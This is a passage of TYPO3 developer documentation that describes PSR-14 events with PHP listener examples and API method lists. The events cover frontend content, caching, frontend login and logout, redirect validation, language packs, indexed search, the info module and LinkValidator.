namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\ContentObject\Event\ModifyRecordsAfterFetchingContentEvent;

#[AsEventListener(
    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyRecordsAfterFetchingContentEvent $event): void
    {
        if ($event->getConfiguration()['table'] !== 'tt_content') {
            return;
        }

        $records = array_reverse($event->getRecords());
        $event->setRecords($records);
    }
}
Copied!

New in version 13.0

API

class ModifyRecordsAfterFetchingContentEvent
Fully qualified name
\TYPO3\CMS\Frontend\ContentObject\Event\ModifyRecordsAfterFetchingContentEvent

Event which is fired after ContentContentObject has pulled records from database.

Therefore, allows listeners to completely manipulate the fetched records, prior to being further processed by the content object.

Additionally, the event also allows to manipulate the configuration and options, such as the "value" or "slide".

getRecords ( )
Returns
array
setRecords ( array $records)
param $records

the records

getFinalContent ( )
Returns
string
setFinalContent ( string $finalContent)
param $finalContent

the finalContent

getSlide ( )
Returns
int
setSlide ( int $slide)
param $slide

the slide

getSlideCollect ( )
Returns
int
setSlideCollect ( int $slideCollect)
param $slideCollect

the slideCollect

getSlideCollectReverse ( )
Returns
bool
setSlideCollectReverse ( bool $slideCollectReverse)
param $slideCollectReverse

the slideCollectReverse

getSlideCollectFuzzy ( )
Returns
bool
setSlideCollectFuzzy ( bool $slideCollectFuzzy)
param $slideCollectFuzzy

the slideCollectFuzzy

getConfiguration ( )
Returns
array
setConfiguration ( array $configuration)
param $configuration

the configuration

ModifyResolvedFrontendGroupsEvent

The PSR-14 event \TYPO3\CMS\Frontend\Authentication\ModifyResolvedFrontendGroupsEvent event allows frontend groups to be added to a (frontend) request, regardless of whether a user is logged in or not.

Example

API

class ModifyResolvedFrontendGroupsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Authentication\ModifyResolvedFrontendGroupsEvent

Event listener to allow to add custom Frontend Groups to a (frontend) request regardless if a user is logged in or not.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getUser ( )
Returns
\TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication
getGroups ( )
Returns
array
setGroups ( array $groups)
param $groups

the groups

ModifyTypoScriptConfigEvent

New in version 13.0

This event has been introduced to serve as a direct replacement for the removed $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['configArrayPostProc'] hook.

The PSR-14 event \TYPO3\CMS\Frontend\Event\ModifyTypoScriptConfigEvent allows listeners to adjust and react on TypoScript config.

This event is dispatched before final TypoScript config is written to the cache, and not when a page can be successfully retrieved from the cache, which is typically the case in "page is fully cached" scenarios.

This incoming $configTree has already been merged with the determined PAGE page.config TypoScript of the requested type / typeNum and the global TypoScript setup config.

The result of this event is available as a request attribute:

$configArray = $request->getAttribute('frontend.typoscript')->getConfigArray();
$configTree = $request->getAttribute('frontend.typoscript')->getConfigTree();
Copied!

Example

API

class ModifyTypoScriptConfigEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyTypoScriptConfigEvent

This event allows listeners to adjust and react on TypoScript 'config'.

This event is dispatched before final TypoScript 'config' is written to cache, and not when a page can be successfully retrieved from cache, which is typically the case in 'page is fully cached' scenarios.

This incoming $configTree has already been merged with the determined PAGE "page.config" TypoScript of the requested 'type' / 'typeNum' and the global TypoScript setup 'config'.

The result of this event is available as Request attribute: $request->getAttribute('frontend.typoscript')->getConfigTree(), and its array variant $request->getAttribute('frontend.typoscript')->getConfigArray().

Registered listener can set a modified setup config AST. Note the TypoScript AST structure is still marked @internal within v13 core and may change later, using the event to write different 'config' data is thus still a bit risky.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getSetupTree ( )
Returns
\TYPO3\CMS\Core\TypoScript\AST\Node\RootNode
getConfigTree ( )
Returns
\TYPO3\CMS\Core\TypoScript\AST\Node\RootNode
setConfigTree ( \TYPO3\CMS\Core\TypoScript\AST\Node\RootNode $configTree)
param $configTree

the configTree

ShouldUseCachedPageDataIfAvailableEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\ShouldUseCachedPageDataIfAvailableEvent allows TYPO3 extensions to register event listeners to modify if a page should be read from cache (if it has been created in store already), or if it should be re-built completely ignoring the cache entry for the request.

This event can be used to avoid loading from the cache when indexing via CLI happens from an external source, or if the cache should be ignored when logged in from a certain IP address.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\ShouldUseCachedPageDataIfAvailableEvent;

#[AsEventListener(
    identifier: 'my-extension/avoid-cache-loading',
)]
final readonly class MyEventListener
{
    public function __invoke(ShouldUseCachedPageDataIfAvailableEvent $event): void
    {
        if (!($event->getRequest()->getServerParams()['X-SolR-API'] ?? null)) {
            return;
        }
        $event->setShouldUseCachedPageData(false);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ShouldUseCachedPageDataIfAvailableEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ShouldUseCachedPageDataIfAvailableEvent

Event to allow listeners to disable the loading of cached page data when a page is requested.

Does not have any effect if caching is disabled, or if there is no cached version of a page.

getController ( )
Returns
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
shouldUseCachedPageData ( )
Returns
bool
setShouldUseCachedPageData ( bool $shouldUseCachedPageData)
param $shouldUseCachedPageData

the shouldUseCachedPageData

BeforeRedirectEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\BeforeRedirectEvent is triggered before a redirect is made.

Example

API

class BeforeRedirectEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\BeforeRedirectEvent

Notification before a redirect is made, which also allows to modify the actual redirect URL. Setting the redirect to an empty string will avoid triggering a redirect.

getLoginType ( )
Returns
string
getRedirectUrl ( )
Returns
string
setRedirectUrl ( string $redirectUrl)
param $redirectUrl

the redirectUrl

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

LoginConfirmedEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\LoginConfirmedEvent is triggered when a login was successful.

Changed in version 14.0

This event is now correctly dispatched, when a logout redirect is configured. Previously the now removed actionUri was used as target for the logout form action, in which case the LogoutConfirmedEvent was not triggered on logout.

Example

API

class LoginConfirmedEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LoginConfirmedEvent

A notification when a log in has successfully arrived at the plugin, via the view and the controller, multiple information can be overridden in Event Listeners.

getController ( )
Returns
\TYPO3\CMS\FrontendLogin\Controller\LoginController
getView ( )
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

LoginErrorOccurredEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\LoginErrorOccurredEvent is triggered when an error occurs while trying to log in a user.

Example

API

class LoginErrorOccurredEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LoginErrorOccurredEvent

A notification if something went wrong while trying to log in a user.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

LogoutConfirmedEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent is triggered when a logout was successful.

Example: Delete stored private key from disk on logout

Upon logout a private key the user uploaded for decryption of private information should be deleted at once. There is only a logout event if the user actively clicks the logout button, so if the user would just close the browser window there would be no LogoutConfirmedEvent. For this case we need a second line of defense like a scheduler task (out of scope of this example).

The currently logged-in user derived from the \TYPO3\CMS\Core\Context\Context is now an anonymous user that is not logged in. The information on which user just logged out cannot be determined from the context or the methods from the event. We therefore need different logic to determine the user who just logged out. This logic is not part of the example below.

EXT:my_extension/Classes/EventListeners/DeletePrivateKeyOnLogout.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use MyVendor\MyExtension\KeyPairHandling\KeyFileService;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Context\Context;
use TYPO3\CMS\Core\Context\UserAspect;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
use TYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent;

#[AsEventListener(
    identifier: 'my-extension/delete-private-key-on-logout',
)]
final readonly class LogoutEventListener
{
    public function __construct(
        private KeyFileService $keyFileService,
        private Context $context,
    ) {}

    public function __invoke(LogoutConfirmedEvent $event): void
    {
        $userAspect = $this->context->getAspect('frontend.user');
        assert($userAspect instanceof UserAspect);
        if ($this->keyFileService->deletePrivateKey($userAspect)) {
            $event->getController()->addFlashMessage('Your private key has been deleted. ', '', ContextualFeedbackSeverity::NOTICE);
        } else {
            $event->getController()->addFlashMessage('Deletion of your private key failed. It will be deleted automatically within 15 minutes by a scheduler task. ', '', ContextualFeedbackSeverity::WARNING);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class LogoutConfirmedEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent

A notification when a log out has successfully arrived at the plugin, via the view and the controller, multiple information can be overridden in Event Listeners.

getController ( )
Returns
\TYPO3\CMS\FrontendLogin\Controller\LoginController
getView ( )
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

ModifyLoginFormViewEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\ModifyLoginFormViewEvent allows to inject custom variables into the login form.

Example

API

class ModifyLoginFormViewEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\ModifyLoginFormViewEvent

Allows to inject custom variables into the login form.

getView ( )
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

ModifyRedirectUrlValidationResultEvent

New in version 13.2

With this event developers have the possibility to modify the validation results for the redirect URL, allowing redirects to URLs not matching the existing validation constraints.

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\ModifyRedirectUrlValidationResultEvent provides developers with the possibility and flexibility to implement custom validation for the redirect URL in the frontend login.

This may be useful, if TYPO3 frontend login acts as an SSO system, or if users should be redirected to an external URL after login.

Example: Validate that the redirect after frontend login goes to a trusted domain

EXT:my_extension/Classes/EventListeners/ValidateRedirectUrl.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\FrontendLogin\Event\ModifyRedirectUrlValidationResultEvent;

final readonly class ValidateRedirectUrl
{
    private const TRUSTED_HOST_FOR_REDIRECT = 'example.org';

    #[AsEventListener(
        identifier: 'validate-custom-redirect-url',
    )]
    public function __invoke(ModifyRedirectUrlValidationResultEvent $event): void
    {
        $parsedUrl = parse_url($event->getRedirectUrl());
        if ($parsedUrl['host'] === self::TRUSTED_HOST_FOR_REDIRECT) {
            $event->setValidationResult(true);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyRedirectUrlValidationResultEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\ModifyRedirectUrlValidationResultEvent

Allows to modify the result of the redirect URL validation (e.g. allow redirect to specific external URLs).

getRedirectUrl ( )
Returns
string
getValidationResult ( )
Returns
bool
setValidationResult ( bool $validationResult)
param $validationResult

the validationResult

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

PasswordChangeEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent contains information about the password that has been set and will be stored in the database shortly.

Example

API

class PasswordChangeEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent

Informal event that contains information about the password which was set, and is about to be stored in the database.

getUser ( )
Returns
array
getHashedPassword ( )
Returns
string
getRawPassword ( )
Returns
string
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

SendRecoveryEmailEvent

The PSR-14 event \TYPO3\CMS\FrontendLogin\Event\SendRecoveryEmailEvent contains the email to be sent and additional information about the user who requested a new password.

Example

API

class SendRecoveryEmailEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\SendRecoveryEmailEvent

Event that contains the email to be sent to the user when they request a new password.

More

Additional validation can happen here.

getUserInformation ( )
Returns
array
getEmail ( )
Returns
\TYPO3\CMS\Core\Mail\FluidEmail

BeforeImportEvent

The PSR-14 event \TYPO3\CMS\Impexp\Event\BeforeImportEvent is triggered when an import file is about to be imported.

Example

API

class BeforeImportEvent
Fully qualified name
\TYPO3\CMS\Impexp\Event\BeforeImportEvent

This event is triggered when an import file is about to be imported

getImport ( )
Returns
\TYPO3\CMS\Impexp\Import
getFile ( )

The file being about to be imported

Returns
string

BeforeFinalSearchQueryIsExecutedEvent

New in version 13.4.2 / 14.0

This event was added as a replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['indexed_search']['pi1_hooks'].

The PSR-14 \TYPO3\CMS\IndexedSearch\Event\BeforeFinalSearchQueryIsExecutedEvent has been introduced which allows developers to manipulate the (internal) \TYPO3\CMS\Core\Database\Query\QueryBuilder instance, just before the query gets executed.

Example

Changing the host of the current request and setting it as canonical:

EXT:my_extension/Classes/IndexedSearch/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\IndexedSearch\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\IndexedSearch\Event\BeforeFinalSearchQueryIsExecutedEvent;

final readonly class EventListener
{
    #[AsEventListener(identifier: 'manipulate-search-query')]
    public function beforeFinalSearchQueryIsExecuted(BeforeFinalSearchQueryIsExecutedEvent $event): void
    {
        $event->queryBuilder->andWhere(
            $event->queryBuilder->expr()->eq('some_column', 'some_value'),
        );
    }
}
Copied!

API

class BeforeFinalSearchQueryIsExecutedEvent
Fully qualified name
\TYPO3\CMS\IndexedSearch\Event\BeforeFinalSearchQueryIsExecutedEvent

Listeners are able to manipulate the QueryBuilder before the search query gets executed

public queryBuilder
public readonly searchWords
public readonly freeIndexUid

ModifyInfoModuleContentEvent

The PSR-14 event \TYPO3\CMS\Info\Controller\Event\ModifyInfoModuleContentEvent allows the content above and below the info module to be modified. The content added in the event is displayed in each submodule of Web > Info.

The event also provides the getCurrentModule() method, which returns the current requested submodule. It is therefore possible to limit the added content to a subset of the available submodules.

Next to getRequest() and the getModuleTemplate() methods this event also features getters and setters for the header and footer content.

Access control

The added content is by default always displayed. This event provides the hasAccess() method, returning whether the access checks in the module were passed by the user.

This way, event listeners can decide on their own, whether their content should always be shown, or only if a user also has access to the main module content.

Example

EXT:my_extension/Classes/Info/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Info\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Info\Controller\Event\ModifyInfoModuleContentEvent;

#[AsEventListener(
    identifier: 'my-extension/content-to-info-module',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyInfoModuleContentEvent $event): void
    {
        // Add header content for the "Localization overview" submodule,
        // if user has access to module content
        if (
            $event->hasAccess() &&
            $event->getCurrentModule()->getIdentifier() === 'web_info_translations'
        ) {
            $event->addHeaderContent('<h3>Additional header content</h3>');
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyInfoModuleContentEvent
Fully qualified name
\TYPO3\CMS\Info\Controller\Event\ModifyInfoModuleContentEvent

Listeners to this Event will be able to modify the header and footer content of the info module

hasAccess ( )

Whether the current user has access to the main content of the info module.

IMPORTANT: This is only for informational purposes. Listeners can therefore decide on their own if their content should be added to the module even if the user does not have access to the main module content.

Returns
bool
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getCurrentModule ( )
Returns
\TYPO3\CMS\Backend\Module\ModuleInterface
getModuleTemplate ( )
Returns
\TYPO3\CMS\Backend\Template\ModuleTemplate
setHeaderContent ( string $content)

Set content for the header. Can also be used to e.g. reorder existing content.

IMPORTANT: This overwrites existing content from previous listeners!

param $content

the content

addHeaderContent ( string $content)

Add additional content to the header

param $content

the content

getHeaderContent ( )
Returns
string
setFooterContent ( string $content)

Set content for the footer. Can also be used to e.g. reorder existing content.

IMPORTANT: This overwrites existing content from previous listeners!

param $content

the content

addFooterContent ( string $content)

Add additional content to the footer

param $content

the content

getFooterContent ( )
Returns
string

ModifyLanguagePackRemoteBaseUrlEvent

The PSR-14 event \TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent allows to modify the main URL of a language pack.

Example

EXT:my_extension/Classes/EventListener/CustomMirror.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Http\Uri;
use TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent;

#[AsEventListener(
    identifier: 'my-extension/custom-mirror',
)]
final readonly class CustomMirror
{
    private const EXTENSION_KEY = 'my_extension';
    private const MIRROR_URL = 'https://example.org/typo3-packages/';

    public function __invoke(ModifyLanguagePackRemoteBaseUrlEvent $event): void
    {
        if ($event->getPackageKey() === self::EXTENSION_KEY) {
            $event->setBaseUrl(new Uri(self::MIRROR_URL));
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyLanguagePackRemoteBaseUrlEvent
Fully qualified name
\TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent

Event to modify the main URL of a language

getBaseUrl ( )
Returns
\Psr\Http\Message\UriInterface
setBaseUrl ( \Psr\Http\Message\UriInterface $baseUrl)
param $baseUrl

the baseUrl

getPackageKey ( )
Returns
string

ModifyLanguagePacksEvent

The PSR-14 event \TYPO3\CMS\Install\Service\Event\ModifyLanguagePacksEvent allows to ignore extensions or individual language packs for extensions when downloading language packs.

The options of the language:update command can be used to further restrict the download (ignore additional extensions or download only certain languages), but not to ignore decisions made by the event.

Example

EXT:my_extension/Classes/Install/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Install\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Install\Service\Event\ModifyLanguagePacksEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-language-packs',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyLanguagePacksEvent $event): void
    {
        $extensions = $event->getExtensions();
        foreach ($extensions as $key => $extension) {
            // Do not download language packs from Core extensions
            if ($extension['type'] === 'typo3-cms-framework') {
                $event->removeExtension($key);
            }
        }

        // Remove German language pack from EXT:styleguide
        $event->removeIsoFromExtension('de', 'styleguide');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyLanguagePacksEvent
Fully qualified name
\TYPO3\CMS\Install\Service\Event\ModifyLanguagePacksEvent

Event to modify the language pack array

getExtensions ( )
Returns
array
removeExtension ( string $extension)
param $extension

the extension

removeIsoFromExtension ( string $iso, string $extension)
param $iso

the iso

param $extension

the extension

BeforeRecordIsAnalyzedEvent

The PSR-14 event \TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent allows to modify results (= add results) or modify the record before LinkValidator analyzes the record.

Example

In this example we are checking if there are external links containing the URL of the project itself, as editors tend to set external links on internal pages at times.

The following code can be put in a custom extension, for example kickstarted with make. You can find a live example in our example extension EXT:examples.

Create a class that works as event listener. This class does not implement or extend any class. It has to provide a method that accepts an event of type \TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent . By default, the method is called __invoke:

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent;

final readonly class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    public function __invoke(BeforeRecordIsAnalyzedEvent $event): void
    {
        $table = $event->getTableName();
        if ($table !== self::TABLE_NAME) {
            return;
        }
        $results = $event->getResults();
        $record = $event->getRecord();
        $field = (string)$record[self::FIELD_NAME];
        if (!str_contains($field, self::LOCAL_DOMAIN)) {
            return;
        }
        $results = $this->parseField($record, $results);
        $event->setResults($results);
    }
}
Copied!

The listener must then be registered in the extensions Services.yaml:

EXT:examples/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener:
    tags:
      - name: event.listener
        identifier: 'txExampleCheckExternalLinksToLocalPages'
Copied!

Read how to configure dependency injection in extensions.

For the implementation we need the \TYPO3\CMS\Linkvalidator\Repository\BrokenLinkRepository to register additional link errors and the \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory so we can automatically parse for links. These two classes have to be injected via dependency injection:

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory;
use TYPO3\CMS\Linkvalidator\Repository\BrokenLinkRepository;

final readonly class CheckExternalLinksToLocalPagesEventListener
{

    public function __construct(
        private BrokenLinkRepository $brokenLinkRepository,
        private SoftReferenceParserFactory $softReferenceParserFactory,
    ) {}
}
Copied!

Now we use the SoftReferenceParserFactory to find all registered link parsers for a soft reference. Then we apply each of these parsers in turn to the configured field in the current record. For each link found we can now match, if it is an external link to an internal page.

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserInterface;

final readonly class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    /**
     * @param array<mixed> $record
     * @param array<mixed> $results
     * @return array<mixed>
     */
    private function parseField(array $record, array $results): array
    {
        $conf = $GLOBALS['TCA'][self::TABLE_NAME]['columns'][self::FIELD_NAME]['config'];
        foreach ($this->findAllParsers($conf) as $softReferenceParser) {
            $parserResult = $softReferenceParser->parse(
                self::TABLE_NAME,
                self::FIELD_NAME,
                $record['uid'],
                (string)$record[self::FIELD_NAME],
            );
            if (!$parserResult->hasMatched()) {
                continue;
            }
            foreach ($parserResult->getMatchedElements() as $matchedElement) {
                if (!isset($matchedElement['subst'])) {
                    continue;
                }
                $this->matchUrl(
                    (string)$matchedElement['subst']['tokenValue'],
                    $record,
                    $results,
                );
            }
        }
        return $results;
    }

    /**
     * @param array<mixed> $conf
     * @return SoftReferenceParserInterface[]
     */
    private function findAllParsers(array $conf): iterable
    {
        return $this->softReferenceParserFactory->getParsersBySoftRefParserList(
            $conf['softref'],
            ['subst'],
        );
    }
}
Copied!

If the URL found in the matching is external and contains the local domain name we add an entry to the BrokenLinkRepository and to the result set of BeforeRecordIsAnalyzedEvent.

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
final readonly class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    /**
     * @param array<mixed> $record
     * @param array<mixed> $results
     */
    private function matchUrl(string $foundUrl, array $record, array &$results): void
    {
        if (str_contains($foundUrl, self::LOCAL_DOMAIN)) {
            $this->addItemToBrokenLinkRepository($record, $foundUrl);
            $results[] = $record;
        }
    }

    /**
     * @param array<string, scalar> $record
     */
    private function addItemToBrokenLinkRepository(array $record, string $foundUrl): void
    {
        $link = [
            'record_uid' => $record['uid'],
            'record_pid' => $record['pid'],
            'language' => $record['sys_language_uid'],
            'field' => self::FIELD_NAME,
            'table_name' => self::TABLE_NAME,
            'url' => $foundUrl,
            'last_check' => time(),
            'link_type' => 'external',
        ];
        $this->brokenLinkRepository->addBrokenLink($link, false, [
            'errorType' => 'exception',
            'exception' => 'Do not link externally to ' . self::LOCAL_DOMAIN,
            'errno' => 1661517573,
        ]);
    }
}
Copied!

The BrokenLinkRepository is not an Extbase repository but a repository based on the Doctrine database abstraction (DBAL). Therefore, it expects an array with the names of the table fields as argument and not an Extbase model. The method internally uses \TYPO3\CMS\Core\Database\Connection::insert. This method automatically quotes all identifiers and values, therefore we do not need to worry about escaping here.

See the complete class here: CheckExternalLinksToLocalPagesEventListener.

API

class BeforeRecordIsAnalyzedEvent
Fully qualified name
\TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent

Event that is fired to modify results (= add results) or modify the record before the linkanalyzer analyzes the record.

getTableName ( )
Returns
string
getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

getFields ( )
Returns
array
getResults ( )
Returns
array
setResults ( array $results)
param $results

the results

getLinkAnalyzer ( )
Returns
\TYPO3\CMS\Linkvalidator\LinkAnalyzer

ModifyValidatorTaskEmailEvent

The PSR-14 event \TYPO3\CMS\Linkvalidator\Event\ModifyValidatorTaskEmailEvent can be used to manipulate the \TYPO3\CMS\Linkvalidator\Result\LinkAnalyzerResult , which contains all information from the linkvalidator API. Also the FluidEmail object can be adjusted there. This allows to pass additional information to the view by using $fluidEmail->assign() or dynamically adding mail information such as the receivers list. The added values in the event take precedence over the modTSconfig configuration. The event contains the full modTSconfig to access further information about the actual configuration of the task when assigning new values to FluidEmail.

Example

EXT:my_extension/Classes/Linkvalidator/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Linkvalidator\EventListener;

use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Linkvalidator\Event\ModifyValidatorTaskEmailEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-validation-task-email',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyValidatorTaskEmailEvent $event): void
    {
        $linkAnalyzerResult = $event->getLinkAnalyzerResult();
        $fluidEmail = $event->getFluidEmail();
        $modTSconfig = $event->getModTSconfig();

        if ($modTSconfig['mail.']['fromname'] === 'John Smith') {
            $fluidEmail->assign('myAdditionalVariable', 'foobar');
        }

        $fluidEmail->subject(
            $linkAnalyzerResult->getTotalBrokenLinksCount() . ' new broken links',
        );

        $fluidEmail->to(new Address('custom@mail.com'));
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

The \TYPO3\CMS\Linkvalidator\Result\LinkAnalyzerResult contains the following information by default:

$oldBrokenLinkCounts
Amount of broken links from the last run, separated by type (for example: all, internal)
$newBrokenLinkCounts
Amount of broken links from this run, separated by type (for example: all, internal)
$brokenLinks
List of broken links with the raw database row
$differentToLastResult
Whether the broken links count changed

The brokenLinks property gets further processed internally to provide additional information for the email. Following additional information is provided by default:

full_record
The full record, the broken link was found in (for example: pages or tt_content)
record_title
Value of the full_record title field
record_type
The title of the record type (for example: "Page" or "Page Content")
language_code
The language code of the broken link
real_pid
The real page ID of the record the broken link was found in
page_record
The whole page row of records parent page

More can be added using this PSR-14 event.

Additionally to the already existing content, the email now includes a list of all broken links fetched according to the task configuration. This list consists of following columns:

Record
The record_uid and record_title
Language
The language_code and language ID
Page
The real_pid and page_record.title of the parent page
Record Type
The record_type
Link Target
The target
Link Type
Type of the broken link (either internal, external or file)

API

class ModifyValidatorTaskEmailEvent
Fully qualified name
\TYPO3\CMS\Linkvalidator\Event\ModifyValidatorTaskEmailEvent

Allows to process and modify the LinkAnalyzer result and FluidEmail object

getLinkAnalyzerResult ( )
Returns
\TYPO3\CMS\Linkvalidator\Result\LinkAnalyzerResult
getFluidEmail ( )
Returns
\TYPO3\CMS\Core\Mail\FluidEmail
getModTSconfig ( )
Returns
array

ModifyBlindedConfigurationOptionsEvent

